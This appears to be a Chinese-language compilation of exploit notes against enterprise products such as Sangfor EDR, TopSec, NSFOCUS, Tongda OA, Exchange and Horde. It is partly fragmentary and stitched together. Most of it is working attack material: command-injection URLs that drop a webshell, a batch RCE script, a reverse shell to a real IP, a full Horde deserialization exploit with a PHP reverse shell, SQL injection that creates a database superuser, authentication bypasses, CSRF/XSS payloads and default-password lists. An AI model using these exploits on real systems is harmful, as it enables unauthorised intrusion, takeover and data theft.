https://10.20.10.10/ha_request.php?action=install&ipaddr=10.20.10.11&node_id=1${IFS}|`echo${IFS}" ZWNobyAnPD9waHAgQGV2YWwoJF9SRVFVRVNUWzEwMDg2XSk7Pz4nPj4vdmFyL3d3dy9zaHRlcm0vcmVzb3VyY2VzL3FyY29kZS9sYmo3Ny5waHAK"
 
|base64${IFS}- d|bash`|${IFS}|echo${IFS}

3.getshell訪問路徑：

/var/www/shterm/resources/qrcode/lbj77.php 

https://10.20.10.10/shterm/resources/qrcode/lbj77.php(密碼10086)

據說還是另外一個版本是java的:

POST /shterm/listener/tui_update.php

a=["t';import os;os.popen('whoami')#"]

二、天融信TopApp-LB 負載均衡系統Sql注入漏洞

2.2個歷史漏洞仍然可以復現。

https://www.uedbox.com/post/21626/

使用者名稱隨意密碼：;id（天融信負載均衡TopApp-LB系統無需密碼直接登陸）

三、用友GRP-u8 注入

四、綠盟UTS綜合威脅探針管理員任意登入

邏輯漏洞,利用方式參考：https://www.hackbug.net/archives/112.html

1、修改登入資料包 {"status":false,"mag":""} -> {"status":true,"mag":""}

2、/webapi/v1/system/accountmanage/account介面邏輯錯誤洩漏了管理員的賬戶資訊包括密碼（md5）

3、再次登入,替換密碼上個數據包中md5密碼

4、登入成功

五、天融信資料防洩漏系統越權修改管理員密碼

無需登入許可權,由於修改密碼處未校驗原密碼,且/?module=auth_user&action=mod_edit_pwd，介面未授權訪問,造成直接修改任意使用者密碼，預設superman賬戶uid為1

POST /?module=auth_user&action=mod_edit_pwd

Cookie: username=superman;

uid=1&pd=Newpasswd&mod_pwd=1&dlp_perm=1

六、WPS Office 圖片解析錯誤導致堆損壞，任意程式碼執行

看上去(算了看不懂... ,漏洞利用可能導致拒絕服務。

相關參考:

http://zeifan.my/security/rce/heap/2020/09/03/wps-rce-heap.html

七、SANGFOR終端檢測響應平臺-任意使用者登入

fofa指紋：title="SANGFOR終端檢測響應平臺"

漏洞利用：
payload：

  https://ip/ui/login.php?user=需登入的使用者名稱

列如：

  https://1.1.1.1:1980/ui/login.php?user=admin

查詢完畢以後即可登入平臺。

八、某信服EDR漏洞-包含payload

1.漏洞利用方法：

https://xxx.xxx.xxx/tool/log/c.php?strip_slashes=system&host=whoami

2.批量利用方法

網上已經放出批量利用方法了，如下：https://github.com/A2gel/sangfor-edr-exploit

# -*- coding: utf-8 -*-

# @Time : 2020/8/17

# @Author : Angel

# @File : edr.py

# 感謝大佬提供Command execute部分程式碼

import requests

import re

import urllib3

import sys

import base64

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def hello():

"""

init function

:return: init print

"""

print (

"""SangFor EDR remote command code exploit

Angel 20200817

Github: https://github.com/A2gel/sangfor-edr-exploit

Command: python edr.py url http://10.10.10.0/

Command: python edr.py file 1.txt whoami""")

def readFile(filename):

"""

逐行讀取檔案內容並返回列表

:param filename: 檔名

:return: 逐行分割的檔案內容

"""

list=[]

keywords = open('./'+filename, 'r')

line = keywords.readline().strip('\n')

while (line):

list.append(line)

line = keywords.readline().strip('\n')

keywords.close()

return list

def log(name,value):

"""

逐行寫入檔案

:param name: 檔名

:param value: 檔案內容

:return: 空

"""

save = file(str(name)+".txt", "a+")

save.write(str(value)+"\n")

save.close()

def rce(host,command):

"""

遠端命令執行核心函式

:param host: URL資訊

:param command: 執行的命令

:return: 成功執行返回命令回顯 失敗列印faild 返回-

"""

headers={

'Connection': 'close',

'Cache-Control': 'max-age=0',

'Upgrade-Insecure-Requests': '1',

'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36',

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',

'Sec-Fetch-Site': 'none',

'Sec-Fetch-Mode': 'navigate',

'Sec-Fetch-User': '?1',

'Sec-Fetch-Dest': 'document',

'Accept-Encoding': 'gzip, deflate',

'Accept-Language': 'zh-CN,zh;q=0.9'

}

command=base64.b64encode(command)

command="echo \""+command+"\""+"|base64 -d|bash"

command = command.replace(" ","$IFS")

url="{}/tool/log/c.php?strip_slashes=system&host={}".format(host,command)

#print url

try:

response = requests.get(url,verify=False,headers=headers)

response.raise_for_status()

response.encoding = "utf-8"

#print response.text

res=re.findall(r'<b>Log Helper</b></p>(.+?)<pre><form',response.text,re.S)

response.close()

print(res[0])

return "+"

except:

print('failed')

return "-"

if __name__ == '__main__':

if len(sys.argv) < 2:

hello()

else:

if sys.argv[1] == "url":

while 1:

command = raw_input("Command> ")

if command:

print ("Try %s"%sys.argv[2])

rce(sys.argv[2],command)

else:

print ("Please input Command")

command = ""

elif sys.argv[1] == "file":

if (sys.argv) < 3:

print "Command: python edr.py file url.txt"

else:

for i in readFile(sys.argv[2]):

print ("Try %s"%i)

if rce(i,sys.argv[3]) == "+":

log("success",sys.argv[3])

else:

log("error",sys.argv[3])

else:

hello()

單個url

python edr.py url http://10.10.10.10

Command> whoami
Try http://10.10.10.10
root

批量url 需要在目錄下建立xxx.txt 一行一個url

python edr.py file 1.txt whoami

Try: http://10.10.10.10
root
Try: http://10.10.10.11
root

1.漏洞原理:

dev_linkage_launch.php 為裝置聯動的新入口點主要是將聯動的介面構造成業務統一處理的介面

主要呼叫

跟進

可以看到 第一個檢查為 $req_url = $_SERVER['PHP_SELF'];

繞過第一個檢查:

在他們系統nginx配置檔案裡面:

通過nginx規則可以得知,他們沒有設定禁止外網訪問.從而可以直接訪問

/api/edr/sangforinter/v2/xxx 繞過 第一個檢查

第二檢查: 許可權檢查

跟進check_access_token

這裡if($md5_str == $json_token["md5"]) 引發第二個漏洞: php弱型別導致的漏洞

繞過只需要傳入一個base64編碼的json內容為 {“md5”:true}即可

至此 許可權檢查繞過完畢

來到 process_cssp.php 檔案

存在任意指令執行漏洞.作者試圖使用escapeshellarg函式去給單引號打反斜槓實際上是毫無作用的.

繞過:{"params":"w=123\"'1234123'\"|命令"}

2.利用POC:

post /api/edr/sanforinter/v2/cssp/slog_client?token=ssskbkds HTTP/1.1.

{"params":"w=123\"'1234123'\"|bash -i >/dev/tcp/167.179.118.219/8899 0>&1"}

外網linux反彈監聽NC埠

nc -lvvp 889

/api/edr/sangforinter/v2/cssp/slog_client?token=eyJtZDUiOnRydWV9

{"params": "w=123\"'1234123'\"|curl `whoami`.dnslog.cn"}

批量指令碼執行：

pip install requests
python Weaver-Ecology-OA_RCE-exp.py 
url.txt檔案中 是url地址 需要帶http協議

POST /dolphinscheduler/users/update
id=1&userName=admin&userPassword=Password1!&tenantId=1&email=sdluser%40sdluser.sdluser&phone=

2、jdbc連線引數就是主角,這裡沒有限制任意型別的連線串引數。

3、將以下資料新增到jdbc連線引數中,就可以直接觸發。

POST /dolphinscheduler/datasources/connect HTTP/1.1

type=MYSQL&name=test&note=&host=127.0.0.1&port=3306&database=test&

principal=&userName=root&password=root&connectType=&

other={"detectCustomCollations":true,"autoDeserialize":true}

關於MySQL JDBC客戶端反序列化漏洞的相關參考：

https://www.anquanke.com/post/id/203086

researcher@incite:~$ ./poc.py
(+) usage: ./poc.py <target> <user:pass> <cmd>
(+) eg: ./poc.py 192.168.75.142 [email protected]:user123### mspaint

researcher@incite:~$ ./poc.py 192.168.75.142 [email protected]:user123### mspaint
(+) logged in as [email protected]
(+) found the __viewstate: /wEPDwUILTg5MDAzMDFkZFAeyPS7/eBJ4lPNRNPBjm8QiWLWnirQ1vsGlSyjVxa5

(+) triggered rce as SYSTEM!

Microsoft Exchange遠端程式碼執行(CVE-2020-16875):
Microsoft Exchange伺服器中存在一個遠端執行程式碼漏洞。成功利用此漏洞的攻擊者可以在系統使用者的上下文中執行任意程式碼。利用此漏洞需要擁有以某個Exchange角色進行身份驗證的使用者許可權。
該漏洞影響版本:
microsoft:exchange_server_2016: cu16/cu17
microsoft:exchange_server_2019: cu5/cu6

MSF利用（https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb):
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > run

[*] Started HTTPS reverse handler on https://192.168.123.1:8443
[*] Executing automatic check (disable AutoCheck to override)
[!] The service is running, but could not be validated. OWA is running at https://192.168.123.192/owa/
[*] Logging in to OWA with creds Administrator:Passw0rd!
[+] Successfully logged in to OWA
[*] Retrieving ViewState from DLP policy creation page
[+] Successfully retrieved ViewState
[*] Creating custom DLP policy from malicious template
[*] DLP policy name: Abbotstone Agricultural Property Unit Trust Data
[*] Powershell command length: 2372
[*] https://192.168.123.1:8443 handling request from 192.168.123.192; (UUID: rwlz4ahe) Staging x64 payload (201308 bytes) ...
[*] Meterpreter session 1 opened (192.168.123.1:8443 -> 192.168.123.192:6951) at 2020-09-16 02:39:17 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer    : WIN-365Q2VJJS17
OS       : Windows 2016+ (10.0 Build 14393).
Architecture  : x64
System Language : en_US
Domain     : GIBSON
Logged On Users : 8
Meterpreter  : x64/windows
meterpreter >

#!/usr/bin/env python3
"""
Horde Groupware Webmail Edition Sort sortpref Deserialization of Untrusted Data Remote Code Execution Vulnerability

Identifiers: ZDI-CAN-10436 / ZDI-20-1051
Found by ..: mr_me
Tested on .: Horde Groupware Webmail 5.2.22 (pear installation) on Debian 9 Stretch w/ Apache/2.4.25 & PHP 7.0.33

Summary:
========

It's possible to reach a deserialization of untrusted data vulnerability within the constructor of the IMP_Prefs_Sort class. A low privileged authenticated attacker can leverage this to achieve remote code execution.

Example:
========

saturn:~ mr_me$ ./poc.py 
(+) usage ./poc.py <target> <path> <user:pass> <connectback:port>
(+) eg: ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337

saturn:~ mr_me$ ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
(+) targeting http://172.16.175.145/horde/
(+) obtained session iefankvohbl8og0mtaadm3efb6
(+) inserted our php object
(+) triggering deserialization...
(+) starting handler on port 1337
(+) connection from 172.16.175.145
(+) pop thy shell!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/horde/services
uname -a
Linux target 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64 GNU/Linux
exit
*** Connection closed by remote host ***
(+) repaired the target!
"""

import re
import sys
import socket
import requests
import telnetlib
import base64
from threading import Thread

def rs(cbh, cbp):
    return """@error_reporting(-1);
@set_time_limit(0); 
@ignore_user_abort(1);
$dis=@ini_get('disable_functions');
if(!empty($dis)){
    $dis=preg_replace('/[, ]+/', ',', $dis);
    $dis=explode(',', $dis);
    $dis=array_map('trim', $dis);
}else{
    $dis=array();
}
$ipaddr='%s';
$port=%d;
function PtdSlhY($c){
    global $dis; 
    if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
        $c=$c." 2>&1\\n";
    }
    ob_start();
    system($c);
    $o=ob_get_contents();
    ob_end_clean();
    if (strlen($o) === 0){
        $o = "NULL";
    }
    return $o;
}
$nofuncs='no exec functions';
$s=@fsockopen("tcp://$ipaddr",$port);
while($c=fread($s,2048)){
    $out = '';
    if(substr($c,0,3) == 'cd '){
        chdir(substr($c,3,-1));
    }else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
        break;
    }else{
        $out=PtdSlhY(substr($c,0,-1));
        if($out===false){
            fwrite($s, $nofuncs);
            break;
        }
    }
    fwrite($s,$out);
}
fclose($s);""" % (cbh, cbp)

def get_session(t, p, usr, pwd):
    uri = "http://%s%slogin.php" % (t, p)
    p = {
        "login_post" : 1337,
        "horde_user" : usr,
        "horde_pass" : pwd
    }
    r = requests.post(uri, data=p, allow_redirects=False)
    match = re.findall("Horde=(.{26});", r.headers['set-cookie'])
    assert len(match) == 2, "(-) failed to login"
    return match[1]

def trigger_deserialization(t, p, s, host, port):
    """ Object instantiation to reach the deserialization """
    handlerthr = Thread(target=handler, args=(port,))
    handlerthr.start()
    uri = "http://%s%sservices/ajax.php/imp/imple" % (t, p)
    p = {
        "imple" : "IMP_Prefs_Sort",
        "app" : "imp",
    }
    h = { "cmd" : base64.b64encode(rs(host, port).encode()) }
    c = { "Horde" : s }
    r = requests.get(uri, params=p, cookies=c, headers=h)
    match = re.search("horde_logout_token=(.*)&", r.text)
    assert match, "(-) failed to leak the horde_logout_token!"
    p['token'] = match.group(1)
    r = requests.get(uri, params=p, cookies=c, headers=h)
    assert r.status_code == 200, "(-) failed to trigger deserialization!"

def get_pop():
    """ An updated pop chain """
    pop  = 'O:34:"Horde_Kolab_Server_Decorator_Clean":2:{'
    pop += 'S:43:"\\00Horde_Kolab_Server_Decorator_Clean\\00_server";O:20:"Horde_Prefs_Identity":3:{'
    pop += 'S:9:"\\00*\\00_prefs";O:11:"Horde_Prefs":2:{'
    pop += 'S:8:"\\00*\\00_opts";a:1:{'
    pop += 's:12:"sizecallback";a:2:{i:0;O:12:"Horde_Config":1:{'
    pop += 'S:13:"\\00*\\00_oldConfig";s:44:"eval(base64_decode($_SERVER[HTTP_CMD]));die;";'
    pop += '}i:1;s:13:"readXMLConfig";}}'
    pop += 'S:10:"\\00*\\00_scopes";a:1:{'
    pop += 's:5:"horde";C:17:"Horde_Prefs_Scope":10:{[null,[1]]}}}'  # implements Serializable using custom unserialize/serialize
    pop += 'S:13:"\\00*\\00_prefnames";a:1:{s:10:"identities";i:0;}'
    pop += 'S:14:"\\00*\\00_identities";a:1:{i:0;i:0;}}'             # additional checks
    pop += 'S:42:"\\00Horde_Kolab_Server_Decorator_Clean\\00_added";a:1:{i:0;i:0;}}'
    return pop

def get_patch():
    """ Our original array """
    patch  = 'a:1:{'
    patch += 's:5:"INBOX";a:1:{'
    patch += 's:1:"b";i:6;'
    patch += '}}'
    return patch

def set_pref(t, p, s, k, o):
    """ A primitive that inserts a string into the database """
    uri = "http://%s%sservices/ajax.php/imp/setPrefValue" % (t, p)
    p = {
        "pref" : k,
        "value" : o,
    }
    c = { "Horde" : s }
    r = requests.get(uri, params=p, cookies=c)
    match = re.search("horde_logout_token=(.*)&", r.text)
    assert match, "(-) failed to leak the horde_logout_token!"
    p['token'] = match.group(1)
    r = requests.get(uri, params=p, cookies=c)
    assert ("\"response\":true" in r.text and r.status_code == 200), "(-) failed to set the preference!"

def handler(lport):
    print("(+) starting handler on port %d" % lport)
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", lport))
    s.listen(1)
    conn, addr = s.accept()
    print("(+) connection from %s" % addr[0])
    t.sock = conn
    print("(+) pop thy shell!")
    t.interact()

def fix_path(p):
    if p == "/":
        return p
    if not p.startswith("/"):
        p = "/%s" % p
    if not p.endswith("/"):
        p = "%s/" % p
    return p

def main():
    if len(sys.argv) < 5:
        print("(+) usage %s <target> <path> <user:pass> <connectback:port>" % sys.argv[0])
        print("(+) eg: %s 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337" % sys.argv[0])
        sys.exit(0)
    target = sys.argv[1]
    path   = fix_path(sys.argv[2])
    user   = sys.argv[3].split(":")[0]
    pswd   = sys.argv[3].split(":")[1]
    host   = sys.argv[4].split(":")[0]
    port   = int(sys.argv[4].split(":")[1])
    print("(+) targeting http://%s%s" % (target, path))
    session = get_session(target, path, user, pswd)
    print("(+) obtained session %s" % session)
    set_pref(target, path, session, 'sortpref', get_pop())
    print("(+) inserted our php object")
    print("(+) triggering deserialization...")
    trigger_deserialization(target, path, session, host, port)
    set_pref(target, path, session, 'sortpref', get_patch())
    print("(+) repaired the target!")

if __name__ == "__main__":
    main()

二十八、通達OA任意使用者登入

1、首先訪問 /ispirit/login_code.php 獲取 codeuid。

2、訪問 /general/login_code_scan.php 提交 post 引數：

uid=1&codeuid={9E908086-342B-2A87-B0E9-E573E226302A}

3、最後訪問 /ispirit/login_code_check.php?codeuid=xxx

這樣 $_SESSION 裡就有了登入的資訊了。

二十九、通達OA v11.7 後臺SQL注入

利用條件:需要登入許可權,文章作者給出了利用鏈注入加mysql許可權,又是寫木馬的。

/general/hr/manage/query/delete_cascade.php?condition_cascade=

select%20if((substr(user(),1,1)=%27r%27),1,power(9999,99))

1、新增一個mysql使用者

grant all privileges ON mysql.* TO 'ateam666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION

2、給建立的ateam666賬戶新增mysql許可權。

UPDATE `mysql`.`user` SET `Password` = '*DE0742FA79F6754E99FDB9C8D2911226A5A9051D', `Select_priv` = 'Y', `Insert_priv` = 'Y', `Update_priv` = 'Y', `Delete_priv` = 'Y', `Create_priv` = 'Y', `Drop_priv` = 'Y', `Reload_priv` = 'Y', `Shutdown_priv` = 'Y', `Process_priv` = 'Y', `File_priv` = 'Y', `Grant_priv` = 'Y', `References_priv` = 'Y', `Index_priv` = 'Y', `Alter_priv` = 'Y', `Show_db_priv` = 'Y', `Super_priv` = 'Y', `Create_tmp_table_priv` = 'Y', `Lock_tables_priv` = 'Y', `Execute_priv` = 'Y', `Repl_slave_priv` = 'Y', `Repl_client_priv` = 'Y', `Create_view_priv` = 'Y', `Show_view_priv` = 'Y', `Create_routine_priv` = 'Y', `Alter_routine_priv` = 'Y', `Create_user_priv` = 'Y', `Event_priv` = 'Y', `Trigger_priv` = 'Y', `Create_tablespace_priv` = 'Y', `ssl_type` = '', `ssl_cipher` = '', `x509_issuer` = '', `x509_subject` = '', `max_questions` = 0, `max_updates` = 0, `max_connections` = 0, `max_user_connections` = 0, `plugin` = 'mysql_native_password', `authentication_string` = '', `password_expired` = 'Y' WHERE `Host` = Cast('%' AS Binary(1)) AND `User` = Cast('ateam666' AS Binary(5));

3、重新整理資料庫就可以登入到資料庫啦。

/general/hr/manage/query/delete_cascade.php?condition_cascade=flush privileges;

4、通達OA配置mysql預設是不開啟外網訪問的所以需要修改mysql授權登入。

/general/hr/manage/query/delete_cascade.php?condition_cascade=

grant all privileges ON mysql.* TO 'ateam666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION

5、接下來就是考驗mysql提權功底的時候啦 233...

來源:https://mp.weixin.qq.com/s/8rvIT1y_odN2obJ1yAvLbw

三十、Wordpress File-manager外掛任意檔案上傳

相信大家對Wordpress並不陌生;File-manager外掛也是相當火爆前段時間爆出任意檔案上傳漏洞。

成功上傳後文件訪問路徑

/wordpress/wp-content/plugins/wp-file-manager/lib/files/shell.php

參考:https://www.anquanke.com/post/id/216990

三十一、Pligg CMS遠端程式碼執行[CVE-2020-25287]

漏洞非常雞肋需要登入後臺、受影響Pligg2.0.3版本。

1、模版編輯器功能可以編輯任意檔案內容,在檔案中加入惡意程式碼導致程式碼執行。

參考：https://github.com/jenaye/pligg

alert tcp any any -> any ![139,445] (msg:"Possible Mimikatz Zerologon Attempt"; flow:established,to_server; content:"|00|"; offset:2; content:"|0f 00|"; distance:22; within:2; fast_pattern; content:"|00 00 00 00 00 00 00 00 ff ff 2f 21|"; within:90; reference:url,https://github.com/gentilkiwi/mimikatz/releases/tag/2.2.0-20200916; classtype:attempted-admin; sid:20166330; rev:2; metadata:created_at 2020_09_19;)

1. 當在初始部署階段允許存在突破的Netlogon安全通道連線時，將生成事件ID 5829。
2. 管理員可以監控事件ID 5827和5828，這些事件ID在存在漏洞的Netlogon連線被拒絕時觸發
3. 5830，5831如果“域控制器：允許易受攻擊的Netlogon安全通道連線”組策略允許連線。

）在演示場景中，我們使用的版本為替代配置的Microsoft SharePoint 2019 Server，安裝在Windows Server 2019 Datacenter系統上。伺服器主機稱為sp2019.contoso.lab，已加入contoso.lab域中，域控制器為一臺獨立的虛擬機器。目標主機已安裝終止2020年2月份的所有補丁，因此對應的版本號為16.0.10355.20000。

攻擊系統中只需要使用支援的Web瀏覽器即可。如下圖所示，我們使用的瀏覽器為Mozilla Firefox 69.0.3。我們將使用與前文類似的WikiContentWebpart，將其命名為WikiContentRCE.xml。

1.首先我們訪問SharePoint Server，以普通使用者（user2）通過身份認證：

2.接下來建立站點，使該使用者變成該站點所有者（所有者），具有所有許可權。（前提條件普通使用者具有建立站點的許可權）

點選頂部面板的“ SharePoint”區域：

然後點選“+建立網站”連結：

選擇“Team Site”。現在我們需要為新站點設定名稱，這裡我們設定為testsiteofuser2。

點選“完成”，成功建立新站點：

現在點選“Pages”連結：

我們需要切換到“Classic View”，單擊左下角的“Return to classic SharePoint”連結即可：

點選“+ New”，為新頁面設定一個名稱。這裡我們設定為newpage1：

點選“建立”按鈕確認。

現在我們需要在“INSERT”標籤頁中選擇“Web Part”：

在上方視窗中，選擇左下角的“Upload Web Part”連結，上傳我們構造的WikiContentRCE.xml檔案：

點選上傳。我們可能會看到一個警告彈窗：“確認離開頁面？您輸入的資料可能不會被儲存”。此時點選“離開頁面”按鈕即可，返回主編輯檢視：

我們需要再次在INSERT標籤頁中選擇Web部件小部件，其中將出現我們引入的Web部件：

在點選新增按鈕之前，我們先轉到目標SharePoint伺服器，開啟C:\windows\temp目錄：

此時該目錄中不存在RCE_PoC.txt檔案。

現在我們轉到攻擊者主機，將我們引入的Web Part新增到頁面中：

再次在目標伺服器上檢查C:\windows\temp目錄：

通過這種方法，攻擊者可以執行任意系統命令，入侵伺服器。攻擊者只需要在WikiContentRCE.xml檔案中，將echo pwned > c:/windows/temp/RCE_PoC.txt串聯替換成所需的命令即可。

M7.6.6R1版本預設key為20181118

M7.6.1版本預設key為20100720

sangfor_key.py

from Crypto.Clipher import ARC4

from binascii import a2b_hex

def myRC4(data,key):

rc41=ARC4.new(key)

encrypted=rc41.encrypt(data)

return encrypted.encode('hex')

def rc4_decrpt_hex(data,key):

rc41=ARC4.new(key)

return rc41.decrypt(a2b_hex(data))

key='20200720'

data=r',username=TARGET_USERNAME,ip=127.0.0.1,grpid=1,pripsw=suiyi,newpsw=TARGET_PASSWORD,'

print myRC4(data,key)

https://<PATH>/por/changepwd.csp(post)

sessReq=clusterd&sessid=0&str=RC4_STR&len=RC4_STR&len=(指令碼計算後結果)

三十六、深信服SSL VPN修改任意賬戶手機號

修改手機號介面未正確鑑權導致越權覆蓋任意使用者的手機號碼

利用:需要登入賬號

二、復現過程
1.下載11.6版本oa，下載地址：http://www.kxdw.com/soft/23114.html
2.安裝

三十八、F5負載均衡：cve-2020-5902

• BIG-IP 15.x: 15.1.0/15.0.0
• BIG-IP 14.x: 14.1.0 ~ 14.1.2
• BIG-IP 13.x: 13.1.0 ~ 13.1.3
• BIG-IP 12.x: 12.1.0 ~ 12.1.5
• BIG-IP 11.x: 11.6.1 ~ 11.6.5

三十九、fastadmin前臺getshell+csrf+xss

    //是否開啟前臺會員中心
    'usercenter'             => true，

 public function _empty($name)
    {
        $data = Hook::listen("user_request_empty", $name);
        foreach ($data as $index => $datum) {
            $this->view->assign($datum);
        }
        return $this->view->fetch('user/' . $name);
    }

POST /admin.php/category/add?dialog=1 HTTP/1.1
Host: admin.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 233
Origin: http://admin.com
Connection: close
Referer: http://admin.com/admin.php/category/add?dialog=1
Cookie: PHPSESSID=ou6fjfn717lu02rfm9saqguca4; uid=3; token=f824ac8c-ac7b-4979-a89b-b47dd8e79226

row%5Btype%5D=default&row%5Bpid%5D=0&row%5Bname%5D=%3Cscript%3Ealert(1)%3C%2Fscript%3E&row%5Bnickname%5D=123&row%5Bimage%5D=1&row%5Bkeywords%5D=123&row%5Bdescription%5D=123&row%5Bweigh%5D=0&row%5Bstatus%5D=normal&row%5Bflag%5D%5B%5D=
且存在csrf漏洞
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://admin.com/admin.php/category/add?dialog=1" method="POST">
      <input type="hidden" name="row&#91;type&#93;" value="default" />
      <input type="hidden" name="row&#91;pid&#93;" value="0" />
      <input type="hidden" name="row&#91;name&#93;" value="&lt;script&gt;alert&#40;1&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="row&#91;nickname&#93;" value="123" />
      <input type="hidden" name="row&#91;image&#93;" value="1" />
      <input type="hidden" name="row&#91;keywords&#93;" value="123" />
      <input type="hidden" name="row&#91;description&#93;" value="123" />
      <input type="hidden" name="row&#91;weigh&#93;" value="0" />
      <input type="hidden" name="row&#91;status&#93;" value="normal" />
      <input type="hidden" name="row&#91;flag&#93;&#91;&#93;" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

綠盟安全產品預設密碼排查列表:

IPS入侵防禦系統、SAS­H運維安全管理系統、SAS安全審計系統、DAS資料庫審計系統、RSAS遠端安全評估系統、WAF WEB應用防護系統

sysauditor/sysauditor

sysmanager/sysmanager

supervisor/supervisor

maintainer/maintainer

webpolicy/webpolicy

sysadmin/sysadmin

conadmin/conadmin

supervis/supervis

webaudit/webaudit

sysadmin/sysadmin

conadmin/nsfocus

weboper/weboper

auditor/auditor

weboper/weboper

nsadmin/nsadmin

admin/nsfocus

admin/admin

shell/shell